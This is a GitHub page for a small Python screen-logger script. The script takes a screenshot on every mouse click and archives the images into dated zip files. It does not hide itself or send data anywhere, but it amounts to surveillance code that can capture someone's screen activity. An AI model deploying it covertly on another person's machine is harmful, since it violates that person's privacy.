-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathscreenlogger.py
61 lines (42 loc) · 1.63 KB
/
screenlogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#! /usr/bin/python
from pynput import mouse
from datetime import *
from zipfile import *
import pyautogui, os
__author__ = '_CYRAX_'
__copyright__ = 'Copyright 2017, łαbørαŧøriø Ŧαηŧαsмα'
__license__ = 'GPL'
__version__ = 'alpha 1.0.1'
__contact__ = 'Telegram : @cyr4x'
class MyException(Exception): pass
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
raise MyException(button)
if button == mouse.Button.right:
raise MyException(button)
def compress(file, file_name):
zip_arquive = ZipFile(file_name, 'a')
zip_arquive.write(file)
zip_arquive.close()
img_list = []
file_name = '{}.zip'.format(datetime.now().strftime('log-%a %b %d %Y')) #save .zip (change if you want but make sure that file .zip and .png stay into same directoty to avoid issues)
while 1:
with mouse.Listener(on_click=on_click) as listener:
try:
listener.join()
except MyException as e:
click = str(e)
try:
if click == 'Button.left' or 'Button.right':
scr1 = pyautogui.screenshot()
png_file = '{}.png'.format(datetime.now().strftime('%c'))
scr1.save(png_file) #save img
img_list.append(png_file)
if len(img_list) == 5: #amount of img to compact (you can change if you want to)
for imagen in img_list:
compress(imagen, file_name)
for img in img_list: #after the compressed the file img will be deleted
os.remove(img)
img_list.clear()
except:
pass